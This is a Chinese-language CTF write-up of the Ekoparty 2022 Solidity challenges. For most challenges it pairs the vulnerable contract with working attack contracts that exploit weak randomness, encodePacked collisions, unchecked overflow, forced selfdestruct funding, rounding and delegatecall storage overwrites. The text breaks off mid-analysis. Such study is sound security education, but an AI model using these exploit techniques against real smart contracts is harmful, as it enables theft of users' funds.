CTFProtocol2022由简入难
The Lost Kitty
1. question
Lucas is a scientist who lives with his cat in a big house that has 2^256 rooms. His cat likes to play hide and seek and jumps to a random room whenever it hears a door opening in another one. Can you find Lucas’ cat? Set the variable
catFound
totrue
to win this challenge.
源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title The Lost Kitty
/// @author https://twitter.com/Cryptonicle1
/// @notice Lucas is a scientist who has lost his cat in a big house that has 2^256 rooms, anon can you find it?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/hidden-kittycat
contract HiddenKittyCat {
address private immutable _owner;
constructor() {
_owner = msg.sender;
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
assembly {
sstore(slot, "KittyCat!")
}
}
function areYouHidingHere(bytes32 slot) external view returns (bool) {
require(msg.sender == _owner, "!owner");
bytes32 kittyPointer;
assembly {
kittyPointer := sload(slot)
}
return kittyPointer == "KittyCat!";
}
function destroyMe() external {
require(msg.sender == _owner, "!owner");
selfdestruct(payable(address(0)));
}
}
contract House {
bool public catFound;
function isKittyCatHere(bytes32 _slot) external {
if (catFound) {
return;
}
HiddenKittyCat hiddenKittyCat = new HiddenKittyCat();
bool found = hiddenKittyCat.areYouHidingHere(_slot);
if (!found) {
hiddenKittyCat.destroyMe();
} else {
catFound = true;
}
}
}
2. analysis
一看到这个
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
经典老问题了,badnonce啦,在特定条件下可控,该代码写在构造器中,但是部署操作在House合约的isKittyCatHere()
中,所以slot是可控的。
3. solve
攻击合约
contract KittyHacker {
House house;
constructor(address _house) {
house = House(_house);
}
function attack() public {
// compute the value of slot in advance
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
house.isKittyCatHere(slot);
require(house.catFound(), "Kitty is not be found...");
}
}
注意:如果这里还有一个问题,就是确保你的区块高度大于69,否则会报错。。。
RootMe
1.question
Can you trick the machine to get root access?
源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title RootMe
/// @author https://twitter.com/tinchoabbate
/// @notice Anon, can you trick the machine to get root access?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/rootme
contract RootMe {
bool public victory;
mapping(string => bool) public usernames;
mapping(bytes32 => address) public accountByIdentifier;
constructor() {
register("ROOT", "ROOT");
}
modifier onlyRoot() {
require(accountByIdentifier[_getIdentifier("ROOT", "ROOT")] == msg.sender, "Not authorized");
_;
}
function register(string memory username, string memory salt) public {
require(usernames[username] == false, "Username already exists");
usernames[username] = true;
bytes32 identifier = _getIdentifier(username, salt);
accountByIdentifier[identifier] = msg.sender;
}
function _getIdentifier(string memory user, string memory salt) private pure returns (bytes32) {
return keccak256(abi.encodePacked(user, salt));
}
/**
* @notice Allows root account to perform any change in the contract's storage
* @param storageSlot storage position where data will be written
* @param data data to be written
*/
function write(bytes32 storageSlot, bytes32 data) external onlyRoot {
assembly {
// stores `data` in storage at position `storageSlot`
sstore(storageSlot, data)
}
}
}
2. analysis
漏洞所在:
function _getIdentifier(string memory user, string memory salt) private pure returns (bytes32) { return keccak256(abi.encodePacked(user, salt)); }
abi.encodePacked(user, salt)
,该打包方式,省略了变量的存储位置,变量值的长度,只有变量真正的数据部分,而且还将这两个值拼接在一起,导致abi.encodePacked(“ROOT”, “ROOT”)和abi.encodePacked(“ROO”, “TROOT”)的值是一样的。
3. solve
攻击合约
contract RootMeHacker {
RootMe rm;
constructor (address _rm) {
rm = RootMe(_rm);
}
function attack() public {
rm.register("ROO", "TROOT"); // hacker 成为 ROOT
rm.write(bytes32(uint(0)), bytes32(uint(1))); // 将变量victory改成true
require(rm.victory() == true, "you are not victory..");
}
}
Trickster
1.question
We might have spotted a honeypot… Can you manage to obtain the real jackpot?.
Hacking casino slot machines is considered illegal.
源码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @title Trickster
/// @author https://twitter.com/mattaereal
/// @notice We might have spotted a honeypot... Anon, can you manage to obtain the real jackpot?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/trickster
contract Jackpot {
address private jackpotProxy;
address private owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function initialize(address _jackpotProxy) public payable {
jackpotProxy = _jackpotProxy;
}
modifier onlyJackpotProxy() {
require(msg.sender == jackpotProxy);
_;
}
function claimPrize(uint256 amount) external payable onlyJackpotProxy {
payable(msg.sender).transfer(amount * 2);
}
fallback() external payable {}
receive() external payable {}
}
contract JackpotProxy {
address private owner;
address private jackpot;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() payable {
owner = msg.sender;
address _proxy = address(new Jackpot());
initialize(_proxy);
payable(_proxy).transfer(address(this).balance);
}
function initialize(address _jackpot) public onlyOwner {
jackpot = _jackpot;
}
function claimPrize() external payable {
require(msg.value > 0, "zero deposit");
(bool success,) = jackpot.call{value: msg.value}(abi.encodeWithSignature("claimPrize(uint)", msg.value));
require(success, "failed");
payable(msg.sender).transfer(address(this).balance);
}
function balance() external view returns (uint256) {
return jackpot.balance;
}
receive() external payable {}
}
2. analysis
何为蜜罐,吞钱,骗局,
JackpotProxy
中的claimPrize()
就是一个骗局,仔细看。成功调用
JackPot中的claimPrize()函数
,该合约中的initialize()
任何人都可以调用,所以任何人都可以成为jackpotProxy
,任何人都可以调用claimPrize
函数,问题转为获取address private jackpot
,在区块链中数据都是公开透明的,可以采用hardhat来帮助读取该值。
3. solve
攻击合约
contract JackPotHacker {
Jackpot jackpot;
JackpotProxy jackpotProxy;
address owner;
constructor(address payable _jackpot, address payable _jackpotProxy) {
jackpot = Jackpot(_jackpot);
jackpotProxy = JackpotProxy(_jackpotProxy);
owner = msg.sender;
}
function attack() public {
jackpot.initialize(address(this));
uint half_balance = jackpotProxy.balance() / 2;
jackpot.claimPrize(half_balance);
require(jackpotProxy.balance() == 0, "");
returnMoney();
}
function returnMoney() internal {
payable(owner).call{value: address(this).balance}("");
}
receive() external payable {}
}
使用hardhat
const { ethers } = require('hardhat');
describe("[CTFProtocol-2022] Trickster", function() {
let deployer, player;
let jackpotproxy, jackpot;
before(async function() {
[deployer, player] = await ethers.getSigners();
// deploy the contract with 2 wei
let contract_factory = await (await ethers.getContractFactory('JackpotProxy')).deploy({value: 2});
console.log(`jackpotproxy = ${jackpotproxy = contract_factory.target}`);
// get private'value => jackpot
let slot1 = await ethers.provider.getStorage(contract_factory.target, 1);
jackpot = slot1 = `0x${slot1.slice(slot1.length-40, slot1.length)}`;
console.log(`jackpot = ${jackpot} `);
});
it("Execution", async function() {
let hacker = await (await ethers.getContractFactory('JackPotHacker')).deploy(jackpot, jackpotproxy);
await hacker.attack();
});
after(async function() {
});
});
The Golden Ticket
1.question
The organizers of Ekoparty decided that the tickets for the 2023 conference would be purchased through a smart contract. However, the conference is oversold and you have to sign up for a waitlist to get your ticket. The problem is that they put you on hold for ten years and the only option you have is to extend the wait. After the wait is over, you have to enter a raffle to see if you get the ticket
源码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @title The Golden Ticket
/// @author https://twitter.com/AlanRacciatti
/// @notice Mint your ticket to the EKOparty, if you are patient and lucky enough.
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/the-golden-ticket
contract GoldenTicket {
mapping(address => uint40) public waitlist;
mapping(address => bool) public hasTicket;
function joinWaitlist() external {
require(waitlist[msg.sender] == 0, "Already on waitlist");
unchecked {
///@dev 10 years wait list
waitlist[msg.sender] = uint40(block.timestamp + 10 * 365 days);
}
}
function updateWaitTime(uint256 _time) external {
require(waitlist[msg.sender] != 0, "Join waitlist first");
unchecked {
waitlist[msg.sender] += uint40(_time);
}
}
function joinRaffle(uint256 _guess) external {
require(waitlist[msg.sender] != 0, "Not in waitlist");
require(waitlist[msg.sender] <= block.timestamp, "Still have to wait");
require(!hasTicket[msg.sender], "Already have a ticket");
uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
if (randomNumber == _guess) {
hasTicket[msg.sender] = true;
}
delete waitlist[msg.sender];
}
function giftTicket(address _to) external {
require(hasTicket[msg.sender], "Yoy dont own a ticket");
hasTicket[msg.sender] = false;
hasTicket[_to] = true;
}
}
2. analysis
本题漏洞:坏随机数,整数溢出
即使在
^0.8.0
的编译器中,使用了unchecked{}
关键字,即放弃了整数溢出的检测,这便有了溢出的风险,而
updateWaitTime(uint256 _time)
函数就是导致整数溢出的关键函数,只要稍加计算便可以算出溢出条件,这里需要注意的是,溢出的结果不能为0,可以是[1, block.timestamp]之间的任何数。至于坏随机数,可在同一个函数中提前计算。
3. solve
攻击合约
contract GoldenTicketHacker {
GoldenTicket goldenticket;
constructor(address _goldenticket) {
goldenticket = GoldenTicket(_goldenticket);
}
function attack() public {
goldenticket.joinWaitlist();
goldenticket.updateWaitTime(calFlow());
uint256 guess = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
goldenticket.joinRaffle(guess);
}
function calFlow() internal view returns(uint256) {
uint max_uint40 = type(uint40).max;
uint40 wait_time = uint40(block.timestamp + 10 * 365 days);
uint res = uint40(max_uint40 - wait_time);
return res + 2; // 实现上溢,使得waitlist[msg.sender] = 1
}
}
Smart Horrocrux
1.question
Some security researchers have recently found an eighth Horrocrux, it seems that Voldemort has link to a smart contract, can you destroy it?
源码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @title SmartHorrocrux
/// @author https://twitter.com/AugustitoQ
/// @notice Some security researchers have recently found an eighth Horrocrux, it seems that Voldemort has link to a smart contract, can you destroy it?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/smart-horrocrux
contract SmartHorrocrux {
bool private invincible;
bytes32 private constant _spell = 0x45746865724b6164616272610000000000000000000000000000000000000000;
// var only for test purposes
bool public alive = true;
constructor() payable {
require(msg.value == 2, "Pay Horrorcrux creation price");
setInvincible();
}
function destroyIt(string memory spell, uint256 magic) public {
bytes32 spellInBytes;
assembly {
spellInBytes := mload(add(spell, 32))
}
require(spellInBytes == _spell, "That spell wouldn't kill a fly");
require(!invincible, "The Horrocrux is still invincible");
bytes memory kedavra = abi.encodePacked(bytes4(bytes32(uint256(spellInBytes) - magic)));
address(this).call(kedavra);
}
function kill() external {
require(msg.sender == address(this), "No one can kill me");
alive = false;
selfdestruct(payable(tx.origin));
}
function setInvincible() public {
invincible = (address(this).balance == 1) ? false : true;
}
fallback() external {
uint256 b = address(this).balance;
invincible = true;
if (b > 0) {
tx.origin.call{value: b}("");
}
}
}
/*
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒░▒▒░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░░░░░░░░░░░█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░▒██▓▓▒░▓████░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒█▓█▒░▓░▓▓▓▓░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░▒░▓█▒░░▒▒░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▓███░░░░░░░▓████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█░▒█▓░░░░░░░▒█▒░▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▒▒███▓▓▓███░▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░▓██▓███▓▓▓▒░░▓██▓█▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▒▒▓▓███▓▓▒░░▒▒▓██▒▓▒░▓█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▒█░▓██▓█▓▒░░▓████▓▒▓░▒██▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▒▒▒▓▓░░░▓▓░▓▒░▓░░▓██░░█▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░░░▒░█░░░░▒▒▒▒░▓▒░░░▒█░▓░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░███░▒▒▓░░░░░▓█░░▓▓░░░░▓▒▒░▒░▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▒░▓▓█░░░░░░█▓▓░▓░░░▒░▒▒▓░░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█░░▓█▓░░░░░░█░░▓▓▒▒░▒█▓░░▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓░░░░░█▓▓▒▒░▒█▓▓▒▒▓▓▒░░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▓▓▒▒░░▓███████▒▒▒▒▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒███▓▓█▒░▒█████▓▒▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▒▒░░▒█████▓▓██▒▒▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒░░░▓▓███░▒█░░██▓▒▒▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█░░░░▓░░░██▒▓▒█░░███▓▒▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░▒▒░░░▒▓█▒▓█░░█▒▒█▒▓█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒░░░▒▓░░░░█▓▓▓▒▒█▒░░▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░▒▓▒▒▒█▓▒▒▓█▒░░░▓█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░░░░▒██▓░▓██░░▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▒▒██▓▓░███▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▓▒▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▒░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓░▓█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▓▒░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█▓▒▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▒▓█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓░▓▓░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░▓▓░▒░░░▒▒█▓█▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▒▒▓░░▒▒▒████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓░▒▓░░▒░▒▓▓██▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▒░▒▓░░▒░░░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█▓░▒▓░░▓▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▒▒▒▓▒░░░▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
*/
2. analysis
目标是成功执行
kill()
函数,而要想调用此函数只能通过destroyIt(string memory spell)
函数,分析destroyIt()
函数function destroyIt(string memory spell, uint256 magic) public { bytes32 spellInBytes; assembly { spellInBytes := mload(add(spell, 32)) } require(spellInBytes == _spell, "That spell wouldn't kill a fly"); require(!invincible, "The Horrocrux is still invincible"); bytes memory kedavra = abi.encodePacked(bytes4(bytes32(uint256(spellInBytes) - magic))); address(this).call(kedavra); }
有两个断言:
断言一:形参spell的值等于
0x45746865724b6164616272610000000000000000000000000000000000000000
,这个可以做到,因为这个值可以由 ASCII码表 转化过来,转化结果如下://45 74 68 65 72 48 61 64 61 62 72 61 0000000000000000000000000000000000000000 //EtherKadabra
断言二:调用
setInvincible()
,将invincible修改为false。而合约中有 2wei,所以只能通过触发fallback
函数,再通过selfdestruct
强制给合约发送 1wei,且不会触发回调函数fallback
。使的
kedava
的值等于kill.selector,可以通过简单的计算得到:function cal() internal pure returns (uint magic) { uint kill_selector = uint(bytes32(bytes4(abi.encodeWithSignature("kill()")))); magic = uint(_spell) - kill_selector; }
这里有个小陷阱,就是需要将byte4转化一次byte32,只有这样
bytes4(abi.encodeWithSignature("kill()"))
才会占高位,如下所示
3. solve
攻击合约
contract SmartHorrocruxHacker {
SmartHorrocrux samrthorrocrux;
bytes32 private constant _spell = 0x45746865724b6164616272610000000000000000000000000000000000000000;
constructor(address _samrthorrocrux) {
samrthorrocrux = SmartHorrocrux(_samrthorrocrux);
}
function attack() public payable {
address(samrthorrocrux).call(""); // tigger fallback()
new Helper().kill{value:1}(payable(address(samrthorrocrux)));
samrthorrocrux.setInvincible(); // lead to invincible = false
samrthorrocrux.destroyIt("EtherKadabra", cal());
require(!samrthorrocrux.alive(), "It isn't dead...");
}
function cal() internal pure returns (uint magic) {
uint kill_selector = uint(bytes32(bytes4(abi.encodeWithSignature("kill()"))));
magic = uint(_spell) - kill_selector;
}
}
contract Helper {
function kill(address payable to) public payable {
require(msg.value == 1 wei);
selfdestruct(to);
}
}
Gas Valve
1.question
The evil Dr. N. Gas has put into orbit a machine that can suck all the air out of the atmosphere. You sneaked into his spaceship and must find a nozzle to open the main valve and stop the machine! Assert the situation and don’t panic. Hint: on the valve is marked “model no. EIP-150”
源码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface INozzle {
function insert() external returns (bool);
}
/// @title Gas Valve
/// @author https://twitter.com/bahurum
/// @notice The evil Dr. N. Gas has created a machine to suck all the air out of the atmosphere. Anon, you must deactivate it before it's too late!
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/gas-valve
contract Valve {
bool public open;
bool public lastResult;
function useNozzle(INozzle nozzle) public returns (bool) {
try nozzle.insert() returns (bool result) {
lastResult = result;
return result;
} catch {
lastResult = false;
return false;
}
}
function openValve(INozzle nozzle) external {
open = true;
(bool success,) = address(this).call(abi.encodeWithSelector(this.useNozzle.selector, nozzle));
require(!success);
}
}
2. analysis
这题要求成功调用
openValve(INozzle nozzle)
函数,成功调用的前提是调用useNozzle(INozzle nozzle)
失败,而在useNozzle(INozzle nozzle)
函数中有try...catch
处理语句,用来处理nozzle.insert()
。尝试了一下,可以处理require, revert
等看题解才知道,使用
selfdestrct()
可以使得函数调用失败,但是该失败不会被try catch捕获。
3. solve
攻击合约
contract GasValueHacker is INozzle {
Valve value;
constructor(address _value) {
value = Valve(_value);
}
function attack() public {
value.openValve(INozzle(address(this)));
require(value.open(), "you are not open...");
}
function insert() external returns (bool) {
selfdestruct(payable(address(this)));
}
}
Stonks
1.question
You have infiltrated in a big investment firm (name says something about arrows), your task is to loose all their money.
源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title Stonks
/// @author https://twitter.com/eugenioclrc
/// @notice You have infiltrated in a big investment firm (name says something about arrows), your task is to loose all their money
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/stonks
contract Stonks {
mapping(address => mapping(uint256 => uint256)) private _balances;
// stock tickers
uint256 public constant TSLA = 0;
uint256 public constant GME = 1;
///@dev price oracle 1 TSLA stonk is 50 GME stonks
uint256 public constant ORACLE_TSLA_GME = 50;
constructor(address _player) {
///@dev the trader starts with 200 TSLA shares & 1000 GME shares
_balances[_player][TSLA] = 20;
_balances[_player][GME] = 1_000;
}
/// @notice Buy TSLA stonks using GME stonks
/// @param amountGMEin amount of GME to spend
/// @param amountTSLAout amount of TSLA to buy
function buyTSLA(uint256 amountGMEin, uint256 amountTSLAout) external {
require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");
_balances[msg.sender][GME] -= amountGMEin;
_balances[msg.sender][TSLA] += amountTSLAout;
}
/// @notice Sell TSLA stonks for GME stonks
/// @param amountTSLAin amount of GME to spend
/// @param amountGMEout amount of TSLA to buy
function sellTSLA(uint256 amountTSLAin, uint256 amountGMEout) external {
require(amountTSLAin * ORACLE_TSLA_GME == amountGMEout, "Invalid price");
_balances[msg.sender][TSLA] -= amountTSLAin;
_balances[msg.sender][GME] += amountGMEout;
}
function balanceOf(address _owner, uint256 _ticker) external view returns (uint256) {
return _balances[_owner][_ticker];
}
}
2. analysis
只要知道在solidity中没有四舍五入,小数点都是采用直接抹除即向下取整的方式处理小数的,这道题就很好解,利用好
require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");
中的除法运算即可。40 / 50 = 0
3. solve
攻击合约
攻击逻辑:先部署hacker,将hacker设置为player,将stonks地址传入hacker的attack函数中,然后调用该函数即可完成攻击。
contract StonksHacker {
Stonks stonks;
function attack(address _stonks) public {
stonks = Stonks(_stonks);
stonks.sellTSLA(20, 1000); // let TSLA swap GAM
for (uint i; i < 2000 / 40; i++) {
stonks.buyTSLA(40, 0);
}
require(stonks.balanceOf(address(this), 0) == 0, "TSLA is not zero");
require(stonks.balanceOf(address(this), 1) == 0, "GAM is not zero");
}
}
Pelusa
1.question
You just open your eyes and are in Mexico 1986, help Diego to set the score from 1 to 2 goals for a win, do whatever is necessary!
源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IGame {
function getBallPossesion() external view returns (address);
}
// "el baile de la gambeta"
// https://www.youtube.com/watch?v=qzxn85zX2aE
/// @title Pelusa
/// @author https://twitter.com/eugenioclrc
/// @notice Its 1986, you are in the football world cup (Mexico86), help Diego score a goal.
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/pelusa
contract Pelusa {
address private immutable owner;
address internal player;
uint256 public goals = 1;
constructor() {
owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
}
function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
/// @dev "la pelota siempre al 10"
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");
player = msg.sender;
}
function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}
function shoot() external {
require(isGoal(), "missed");
/// @dev use "the hand of god" trick
(bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
require(success, "missed");
require(uint256(bytes32(data)) == 22_06_1986);
}
}
2. analysis
目标是将goals的值修改为2,唯一的办法就只能通过delegatecall进行内存覆盖来实现,不过要注意的是
immutable
修饰的变量不占slot,所以goals在合约中的位置是slot1
。分析
shoot()
function shoot() external { require(isGoal(), "missed"); // getStorage() /// @dev use "the hand of god" trick (bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()")); require(success, "missed"); require(uint256(bytes32(data)) == 22_06_1986); } function isGoal() public view returns (bool) { // expect ball in owners posession return IGame(player).getBallPossesion() == owner; }
- owner:该值可以通过合约地址,找到当时的部署者也就是
msg.sender
,由于blockhash(block.number)
= 0,所以owner = address(uint160(uint256(keccak256(abi.encodePacked(deployer, bytes32(uint(0)))))))
- handOfGod():自定义该函数,令其返回值为
22_06_1986
此外还得通过
passTheBall()
将player设置为hacker,当然,通过create2可以轻松通过限制条件。
3. solve
攻击合约
contract PelusaHacker is IGame {
address private owner;
uint256 public goals = 1; // slo
Pelusa pelusa;
constructor(address _pelusa) {
pelusa = Pelusa(_pelusa);
pelusa.passTheBall(); // CREATE2
}
function attack(address deployer) public {
owner = address(uint160(uint256(keccak256(abi.encodePacked(deployer, bytes32(uint(0)))))));
pelusa.shoot();
}
function handOfGod() public returns(uint) {
goals = 2;
return 22_06_1986;
}
function getBallPossesion() external view returns (address) {
return owner;
}
}
contract Deployer {
function deploy(uint salt, address pelusa) public returns(address) {
bytes32 _salt = keccak256(abi.encodePacked(salt));
return address(new PelusaHacker{salt: _salt}(pelusa));
}
}
Phoenixtto
1.question
Within the world of crossovers there is a special one, where the universes of pokemon, harry potter and solidity intertwine. In this crossover a mixed creature is created between dumbledore’s phoenix, a wild ditto and since we are in the solidity universe this creature is a contract. We have called it Phoenixtto and it has two important abilities, that of being reborn from it’s ashes after its destruction and that of copying the behavior of another bytecode.
Try to capture the Phoenixtto, if you can…
源码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/**
* @title Phoenixtto
* @author Rotcivegaf https://twitter.com/victor93389091 <victorfage@gmail.com>
* @dev Within the world of crossovers there is a special one, where the universes of pokemon,
* harry potter and solidity intertwine.
* In this crossover a mix creature is created between dumbledore's phoenix, a wild ditto and
* since we are in the solidity universe this creature is a contract.
* We have called it Phoenixtto and it has two important abilities, that of being reborn from
* it's ashes after its destruction and that of copying the behavior of another bytecode
* Try to capture the Phoenixtto, if you can...
* @custom:url https://www.ctfprotocol.com/tracks/eko2022/phoenixtto
*/
contract Laboratory {
address immutable PLAYER;
address public getImplementation;
address public addr;
constructor(address _player) {
PLAYER = _player;
}
function mergePhoenixDitto() public {
reBorn(type(Phoenixtto).creationCode);
}
function reBorn(bytes memory _code) public {
address x;
assembly {
x := create(0, add(0x20, _code), mload(_code))
}
getImplementation = x;
_code = hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3";
assembly {
x := create2(0, add(_code, 0x20), mload(_code), 0)
}
addr = x;
Phoenixtto(x).reBorn();
}
function isCaught() external view returns (bool) {
return Phoenixtto(addr).owner() == PLAYER;
}
}
contract Phoenixtto {
address public owner;
bool private _isBorn;
function reBorn() external {
if (_isBorn) return;
_isBorn = true;
owner = address(this);
}
function capture(string memory _newOwner) external {
if (!_isBorn || msg.sender != tx.origin) return;
address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
if (newOwner == msg.sender) {
owner = newOwner;
} else {
selfdestruct(payable(msg.sender));
_isBorn = false;
}
}
}
2. analysis
我认为最主要是考察
